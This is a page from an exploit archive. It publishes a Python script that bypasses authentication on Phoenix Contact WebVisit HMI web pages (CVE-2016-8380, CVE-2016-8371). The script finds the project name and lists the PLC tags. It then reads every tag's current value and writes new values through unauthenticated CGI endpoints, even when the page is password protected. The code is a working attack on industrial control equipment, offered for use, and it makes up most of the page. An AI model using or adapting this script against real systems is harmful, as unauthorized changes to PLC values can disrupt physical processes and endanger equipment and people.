what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Phoenix Contact WebVisit 2985725 Authentication Bypass

Phoenix Contact WebVisit 2985725 Authentication Bypass
Posted Oct 12, 2018
Authored by Deneut Tijl

Phoenix Contact WebVisit 2985725 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2016-8371, CVE-2016-8380
SHA-256 | efc4f4093ce598b5380b86e65946db5ea1180e4c54224c18d55bb48e206da2cf

Phoenix Contact WebVisit 2985725 Authentication Bypass

Change Mirror Download
# Exploit Title: Phoenix Contact WebVisit 2985725 - Authentication Bypass
# Date: 2018-09-30
# Exploit Author: Deneut Tijl
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit (all versions)
# CVE : CVE-2016-8380, CVE-2016-8371

# Description
# Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection)
# Steps:
# * Get Project Name: https://<ip>/
# * Get list of tags: https://<ip>/<projectname>.tcr
# * Get current values of tags: https://<ip>/cgi-bin/ILRReadValues.exe
# * Set new tag values: https://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)

# CVE-2016-8380-SetPLCValues.py

#! /usr/bin/env python

import urllib2

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
URLResponse = urllib2.urlopen(urllib2.Request('https://' + strIP + '/'))
except urllib2.HTTPError:
print('#### Critical Error with IP ' + strIP + ': no response')
raw_input('Press Enter to exit')
exit()

strProject = ''
for line in URLResponse.readlines():
if 'ProjectName' in line:
strProject = line.split('VALUE="')[1].split('"')[0]

if strProject == '':
print('#### Error, no \'ProjectName\' found on the main page')
raw_input('Press Enter to exit')
exit()

print('---- Found project \'' + strProject + '\', retrieving list of tags')

try:
TagResponse = urllib2.urlopen(urllib2.Request('https://' + strIP + '/' + strProject + '.tcr'))
except urllib2.HTTPError:
print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
raw_input('Press Enter to exit')
exit()

arrTagList = []
for line in TagResponse.readlines():
if line.startswith('#!-- N ='):
intNumberOfTags = int(line.split('=')[1])
print('---- There should be ' + str(intNumberOfTags) + ' tags:')
if not line.startswith('#'):
if not line.split(';')[0].strip() == '':
arrTagList.append(line.split(';')[0].strip())
print('-- '+line.split(';')[0].strip())


raw_input('Press Enter to query them all')
import os, urllib
os.system('cls' if os.name == 'nt' else 'clear')
strPost = '<body>'
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
strPost += '<item_list>'
for item in arrTagList:
strPost += '<i><n>' + item + '</n></i>'
strPost += '</item_list></body>'
DataResponse = urllib2.urlopen(urllib2.Request('https://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()

arrData = []
for item in DataResponse.split('<i>'):
if '<n>' in item:
name = item.split('<n>')[1].split('</n>')[0]
value = item.split('<v>')[1].split('</v>')[0]
arrData.append((name,value))
print('----- Full list of tags and their values:')
i = 0
for item in arrData:
i += 1
print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])

ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
if ans1 == '':
exit()
strTag = arrData[int(ans1) - 1][0]
strVal = arrData[int(ans1) - 1][1]
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
if ans2 == '': ans2 = strVal
urllib2.urlopen(urllib2.Request('https://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2)))

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close